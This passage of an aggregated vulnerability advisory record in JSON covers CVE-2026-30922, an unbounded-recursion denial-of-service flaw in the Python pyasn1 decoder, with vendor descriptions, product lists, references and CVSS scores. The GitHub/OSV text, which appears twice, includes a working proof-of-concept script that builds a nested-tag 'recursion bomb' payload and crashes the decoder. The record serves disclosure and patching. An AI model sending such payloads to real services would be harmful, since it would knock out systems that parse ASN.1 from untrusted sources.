is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with \"Indefinite Length\" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-30922" }, { "category": "description", "text": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with \"Indefinite Length\" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.", "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-30922" }, { "category": "description", "text": "An unbounded recursion flaw has been discovered in the pypi pyasn1 library. This uncontrolled recursion occurs when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.", "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-30922" }, { "category": "description", "text": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n decoder.decode(payload)\nexcept RecursionError:\n print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.", "title": "github - https://api.github.com/advisories/GHSA-jr27-m4p2-rc6r" }, { "category": "description", "text": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with \"Indefinite Length\" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30922" }, { "category": "description", "text": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with \"Indefinite Length\" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30922.json" }, { "category": "description", "text": "pyasn1 Vulnerable to Denial of Service via Unbounded Recursion", "title": "microsoft - https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Mar" }, { "category": "description", "text": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n decoder.decode(payload)\nexcept RecursionError:\n print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-jr27-m4p2-rc6r.json?alt=media" }, { "category": "description", "text": "This update for python-pyasn1 fixes the following issue:\n\n- CVE-2026-30922: Denial of Service via Unbounded Recursion (bsc#1259803).\n", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/SUSE%2FSUSE-SU-2026:20821-1.json?alt=media" }, { "category": "description", "text": "Affected versions of the pyasn1 package are vulnerable to Denial of Service (DoS) due to uncontrolled recursion when decoding deeply nested ASN.1 data. The vulnerability exists in the BER decoder’s indefLenValueDecoder, valueDecoder, and _decodeComponentsSchemaless code paths, where decodeFun is recursively invoked for nested SEQUENCE, SET, SEQUENCE OF, and SET OF elements without enforcing a recursion-depth limit.", "title": "pyupio - https://raw.githubusercontent.com/pyupio/safety-db/refs/heads/master/data/insecure_full.json" }, { "category": "description", "text": "An unbounded recursion flaw has been discovered in the pypi pyasn1 library. This uncontrolled recursion occurs when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/csaf/RHSA-2026:6309.json" }, { "category": "description", "text": "An unbounded recursion flaw has been discovered in the pypi pyasn1 library. This uncontrolled recursion occurs when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/csaf/RHSA-2026:6404.json" }, { "category": "other", "text": "0.0004", "title": "EPSS" }, { "category": "other", "text": "3.7", "title": "NCSC Score" }, { "category": "other", "text": "There is product data available from source Certbundde, VENDOR FIX as product remediation category", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "Is related to a product by vendor Unknown, There is cvss data available from source Redhat, Is related to a product by vendor Red Hat, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 3\n", "title": "Vendor assessment" } ], "product_status": { "fixed": [ "CSAFPID-5973065" ], "known_affected": [ "CSAFPID-5841016", "CSAFPID-5441007", "CSAFPID-5442766", "CSAFPID-5443058", "CSAFPID-5842734", "CSAFPID-5842735", "CSAFPID-5842736", "CSAFPID-5842737", "CSAFPID-5842738", "CSAFPID-5842739", "CSAFPID-5842740", "CSAFPID-5842741", "CSAFPID-5842742", "CSAFPID-5842743", "CSAFPID-5842744", "CSAFPID-5842745", "CSAFPID-5842746", "CSAFPID-5842747", "CSAFPID-5842748", "CSAFPID-5842749", "CSAFPID-5842750", "CSAFPID-5842751", "CSAFPID-5842752", "CSAFPID-5842753", "CSAFPID-5842754", "CSAFPID-5842755", "CSAFPID-5842756", "CSAFPID-5842757", "CSAFPID-5842758", "CSAFPID-5842759", "CSAFPID-5842760", "CSAFPID-5842761", "CSAFPID-5842762", "CSAFPID-5842763", "CSAFPID-5842764", "CSAFPID-5842765", "CSAFPID-5842766", "CSAFPID-5842767", "CSAFPID-5842768", "CSAFPID-5842769", "CSAFPID-5842770", "CSAFPID-5842771", "CSAFPID-5441278", "CSAFPID-5441279", "CSAFPID-1439279", "CSAFPID-1439313", "CSAFPID-1439317", "CSAFPID-1439319", "CSAFPID-1439328", "CSAFPID-1441197", "CSAFPID-1441200", "CSAFPID-1441204", "CSAFPID-1455906", "CSAFPID-1496293", "CSAFPID-1496356", "CSAFPID-1508255", "CSAFPID-1508257", "CSAFPID-1508261", "CSAFPID-1508262", "CSAFPID-1508264", "CSAFPID-1508270", "CSAFPID-1692264", "CSAFPID-1919968", "CSAFPID-2518221", "CSAFPID-2518237", "CSAFPID-2524222", "CSAFPID-2698058", "CSAFPID-2698059", "CSAFPID-2831634", "CSAFPID-2855767", "CSAFPID-2855768", "CSAFPID-2858634", "CSAFPID-2858641", "CSAFPID-2858643", "CSAFPID-2909320", "CSAFPID-2909376", "CSAFPID-2909381", "CSAFPID-2942231", "CSAFPID-2960946", "CSAFPID-2976378", "CSAFPID-2985387", "CSAFPID-3023485", "CSAFPID-3036200", "CSAFPID-3095614", "CSAFPID-3112098", "CSAFPID-3112099", "CSAFPID-4534161", "CSAFPID-4534162", "CSAFPID-4534164", "CSAFPID-5009266", "CSAFPID-5035448", "CSAFPID-5068100", "CSAFPID-5068103", "CSAFPID-5068105", "CSAFPID-5068108", "CSAFPID-5068110", "CSAFPID-5068114", "CSAFPID-5068116", "CSAFPID-5068119", "CSAFPID-5068121", "CSAFPID-5068123", "CSAFPID-5068126", "CSAFPID-5068128", "CSAFPID-5068131", "CSAFPID-5068134", "CSAFPID-5119808", "CSAFPID-5119810", "CSAFPID-5119811", "CSAFPID-5119813", "CSAFPID-5119831", "CSAFPID-5155537", "CSAFPID-5155538", "CSAFPID-5172458", "CSAFPID-5172459", "CSAFPID-5172460", "CSAFPID-5172461", "CSAFPID-5198605", "CSAFPID-5222660", "CSAFPID-5222767", "CSAFPID-5222780", "CSAFPID-5276219", "CSAFPID-5276233", "CSAFPID-5276235", "CSAFPID-5355695", "CSAFPID-5448443", "CSAFPID-5448444", "CSAFPID-5448450", "CSAFPID-5448451", "CSAFPID-5448452", "CSAFPID-5448453", "CSAFPID-5448454", "CSAFPID-5448455", "CSAFPID-5811347", "CSAFPID-5811351", "CSAFPID-5811359", "CSAFPID-5811362", "CSAFPID-5830423", "CSAFPID-5834017", "CSAFPID-5890858", "CSAFPID-5890859", "CSAFPID-5919019", "CSAFPID-5971045", "CSAFPID-1384077", "CSAFPID-5354794", "CSAFPID-1317174", "CSAFPID-1317175", "CSAFPID-1330296" ], "known_not_affected": [ "CSAFPID-5973066", "CSAFPID-5973067", "CSAFPID-5973068", "CSAFPID-5973069", "CSAFPID-5973070", "CSAFPID-5973071", "CSAFPID-5973072", "CSAFPID-5973073", "CSAFPID-5973074", "CSAFPID-5973075", "CSAFPID-5973076", "CSAFPID-5973077", "CSAFPID-5973078", "CSAFPID-5973079", "CSAFPID-5973080", "CSAFPID-5973081", "CSAFPID-5973082", "CSAFPID-5973083", "CSAFPID-5973084", "CSAFPID-5973085", "CSAFPID-5973086", "CSAFPID-5973087", "CSAFPID-5973088", "CSAFPID-5973089", "CSAFPID-5973090", "CSAFPID-5973091", "CSAFPID-5973092", "CSAFPID-5984227" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-jr27-m4p2-rc6r" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-jr27-m4p2-rc6r" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-30922" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30922.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30922" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-jr27-m4p2-rc6r.json?alt=media" }, { "category": "external", "summary": "Source - debian", "url": "https://security-tracker.debian.org/tracker/CVE-2026-30922" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30922" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-30922" }, { "category": "external", "summary": "Source raw - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30922.json" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-jr27-m4p2-rc6r" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30922" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30922.json" }, { "category": "external", "summary": "Source - microsoft", "url": "https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Mar" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/SUSE%2FSUSE-SU-2026:20821-1.json?alt=media" }, { "category": "external", "summary": "Source - pyupio", "url": "https://raw.githubusercontent.com/pyupio/safety-db/refs/heads/master/data/insecure_full.json" }, { "category": "external", "summary": "Source - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0935.json" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/csaf/RHSA-2026:6309.json" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/csaf/RHSA-2026:6404.json" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-jr27-m4p2-rc6r" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-30922" }, { "category": "external", "summary": "Reference - github; osv; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0935.json" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0935" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://access.redhat.com/errata/RHSA-2026:6308" }, { "category": "external", "summary": "Reference - certbundde; redhat", "url": "https://access.redhat.com/errata/RHSA-2026:6309" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-30922" }, { "category": "external", "summary": "Reference - redhat", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-26007" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-25639" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2025-69223" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2025-69873" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-1615" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-28498" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-28802" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-29074" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-30827" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/updates/classification/" }, { "category": "external", "summary": "Reference - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-25990" }, { "category": "external", "summary": "Reference - redhat", "url": "https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/html/release_notes/patch_releases" }, { "category": "external", "summary": "Reference - redhat", "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_6309.json" }, { "category": "external", "summary": "Reference - osv", "url": "https://www.suse.com/support/update/announcement/2026/suse-su-202620821-1/" }, { "category": "external", "summary": "Reference - osv", "url": "https://bugzilla.suse.com/1259803" }, { "category": "external", "summary": "Reference - osv", "url": "https://www.suse.com/security/cve/CVE-2026-30922" }, { "category": "external", "summary": "Reference - certbundde; redhat", "url": "https://access.redhat.com/errata/RHSA-2026:6404" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://access.redhat.com/errata/RHSA-2026:6278" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://alas.aws.amazon.com/AL2/ALAS2-2026-3215.html" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://lists.suse.com/pipermail/sle-security-updates/2026-April/025088.html" }, { "category": "external", "summary": "Reference - redhat", "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_6404.json" } ], "remediations": [ { "category": "mitigation", "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.", "product_ids": [ "CSAFPID-1439279", "CSAFPID-1439313", "CSAFPID-1439317", "CSAFPID-1439319", "CSAFPID-1439328", "CSAFPID-1441197", "CSAFPID-1441200", "CSAFPID-1441204", "CSAFPID-1455906", "CSAFPID-1496293", "CSAFPID-1496356", "CSAFPID-1508255", "CSAFPID-1508257", "CSAFPID-1508261", "CSAFPID-1508262", "CSAFPID-1508264", "CSAFPID-1508270", "CSAFPID-1692264", "CSAFPID-1919968", "CSAFPID-2518221", "CSAFPID-2518237", "CSAFPID-2524222", "CSAFPID-2698058", "CSAFPID-2698059", "CSAFPID-2831634", "CSAFPID-2855767", "CSAFPID-2855768", "CSAFPID-2858634", "CSAFPID-2858641", "CSAFPID-2858643", "CSAFPID-2909320", "CSAFPID-2909376", "CSAFPID-2909381", "CSAFPID-2942231", "CSAFPID-2960946", "CSAFPID-2976378", "CSAFPID-2985387", "CSAFPID-3023485", "CSAFPID-3036200", "CSAFPID-3095614", "CSAFPID-3112098", "CSAFPID-3112099", "CSAFPID-4534161", "CSAFPID-4534162", "CSAFPID-4534164", "CSAFPID-5009266", "CSAFPID-5035448", "CSAFPID-5068100", "CSAFPID-5068103", "CSAFPID-5068105", "CSAFPID-5068108", "CSAFPID-5068110", "CSAFPID-5068114", "CSAFPID-5068116", "CSAFPID-5068119", "CSAFPID-5068121", "CSAFPID-5068123", "CSAFPID-5068126", "CSAFPID-5068128", "CSAFPID-5068131", "CSAFPID-5068134", "CSAFPID-5119808", "CSAFPID-5119810", "CSAFPID-5119811", "CSAFPID-5119813", "CSAFPID-5119831", "CSAFPID-5155537", "CSAFPID-5155538", "CSAFPID-5172458", "CSAFPID-5172459", "CSAFPID-5172460", "CSAFPID-5172461", "CSAFPID-5198605", "CSAFPID-5222660", "CSAFPID-5222767", "CSAFPID-5222780", "CSAFPID-5276219", "CSAFPID-5276233", "CSAFPID-5276235", "CSAFPID-5355695", "CSAFPID-5448443", "CSAFPID-5448444", "CSAFPID-5448450", "CSAFPID-5448451", "CSAFPID-5448452", "CSAFPID-5448453", "CSAFPID-5448454", "CSAFPID-5448455", "CSAFPID-5811347", "CSAFPID-5811351", "CSAFPID-5811359", "CSAFPID-5811362", "CSAFPID-5830423", "CSAFPID-5834017" ] }, { "category": "vendor_fix", "details": "CBL-Mariner Releases", "product_ids": [ "CSAFPID-5890858", "CSAFPID-5890859" ] }, { "category": "vendor_fix", "details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\nFor details on how to apply this update, refer to:\nhttps://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6#Upgrade", "product_ids": [ "CSAFPID-5153949", "CSAFPID-5973065" ], "restart_required": { "category": "none" }, "url": "https://access.redhat.com/errata/RHSA-2026:6309" }, { "category": "workaround", "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.", "product_ids": [ "CSAFPID-5153949", "CSAFPID-5973065", "CSAFPID-5973066", "CSAFPID-5973067", "CSAFPID-5973068", "CSAFPID-5973069", "CSAFPID-5973070", "CSAFPID-5973071", "CSAFPID-5973072", "CSAFPID-5973073", "CSAFPID-5973074", "CSAFPID-5973075", "CSAFPID-5973076", "CSAFPID-5973077", "CSAFPID-5973078", "CSAFPID-5973079", "CSAFPID-5973080", "CSAFPID-5973081", "CSAFPID-5973082", "CSAFPID-5973083", "CSAFPID-5973084", "CSAFPID-5973085", "CSAFPID-5973086", "CSAFPID-5973087", "CSAFPID-5973088", "CSAFPID-5973089", "CSAFPID-5973090", "CSAFPID-5973091", "CSAFPID-5973092", "CSAFPID-5984227" ] }, { "category": "vendor_fix", "details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\nFor details on how to apply this update, refer to:\nhttps://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6#Upgrade", "product_ids": [ "CSAFPID-5153949", "CSAFPID-5973065" ], "restart_required": { "category": "none" }, "url": "https://access.redhat.com/errata/RHSA-2026:6404" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "baseScore": 7.5, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-1317174", "CSAFPID-1317175", "CSAFPID-1330296", "CSAFPID-1384077", "CSAFPID-1439279", "CSAFPID-1439313", "CSAFPID-1439317", "CSAFPID-1439319", "CSAFPID-1439328", "CSAFPID-1441197", "CSAFPID-1441200", "CSAFPID-1441204", "CSAFPID-1455906", "CSAFPID-1496293", "CSAFPID-1496356", "CSAFPID-1508255", "CSAFPID-1508257", "CSAFPID-1508261", "CSAFPID-1508262", "CSAFPID-1508264", "CSAFPID-1508270", "CSAFPID-1692264", "CSAFPID-1919968", "CSAFPID-2518221", "CSAFPID-2518237", "CSAFPID-2524222", "CSAFPID-2698058", "CSAFPID-2698059", "CSAFPID-2831634", "CSAFPID-2855767", "CSAFPID-2855768", "CSAFPID-2858634", "CSAFPID-2858641", "CSAFPID-2858643", "CSAFPID-2909320", "CSAFPID-2909376", "CSAFPID-2909381", "CSAFPID-2942231", "CSAFPID-2960946", "CSAFPID-2976378", "CSAFPID-2985387", "CSAFPID-3023485", "CSAFPID-3036200", "CSAFPID-3095614", "CSAFPID-3112098", "CSAFPID-3112099", "CSAFPID-4534161", "CSAFPID-4534162", "CSAFPID-4534164", "CSAFPID-5009266", "CSAFPID-5035448", "CSAFPID-5068100", "CSAFPID-5068103", "CSAFPID-5068105", "CSAFPID-5068108", "CSAFPID-5068110", "CSAFPID-5068114", "CSAFPID-5068116", "CSAFPID-5068119", "CSAFPID-5068121", "CSAFPID-5068123", "CSAFPID-5068126", "CSAFPID-5068128", "CSAFPID-5068131", "CSAFPID-5068134", "CSAFPID-5119808", "CSAFPID-5119810", "CSAFPID-5119811", "CSAFPID-5119813", "CSAFPID-5119831", "CSAFPID-5155537", "CSAFPID-5155538", "CSAFPID-5172458", "CSAFPID-5172459", "CSAFPID-5172460", "CSAFPID-5172461", "CSAFPID-5198605", "CSAFPID-5222660", "CSAFPID-5222767", "CSAFPID-5222780", "CSAFPID-5276219", "CSAFPID-5276233", "CSAFPID-5276235", "CSAFPID-5354794", "CSAFPID-5355695", "CSAFPID-5441007", "CSAFPID-5441278", "CSAFPID-5441279", "CSAFPID-5442766", "CSAFPID-5443058", "CSAFPID-5448443", "CSAFPID-5448444", "CSAFPID-5448450", "CSAFPID-5448451", "CSAFPID-5448452", "CSAFPID-5448453", "CSAFPID-5448454", "CSAFPID-5448455", "CSAFPID-5811347", "CSAFPID-5811351", "CSAFPID-5811359", "CSAFPID-5811362", "CSAFPID-5830423", "CSAFPID-5834017", "CSAFPID-5841016", "CSAFPID-5842734", "CSAFPID-5842735", "CSAFPID-5842736", "CSAFPID-5842737", "CSAFPID-5842738", "CSAFPID-5842739", "CSAFPID-5842740", "CSAFPID-5842741", "CSAFPID-5842742", "CSAFPID-5842743", "CSAFPID-5842744", "CSAFPID-5842745", "CSAFPID-5842746", "CSAFPID-5842747", "CSAFPID-5842748", "CSAFPID-5842749", "CSAFPID-5842750", "CSAFPID-5842751", "CSAFPID-5842752", 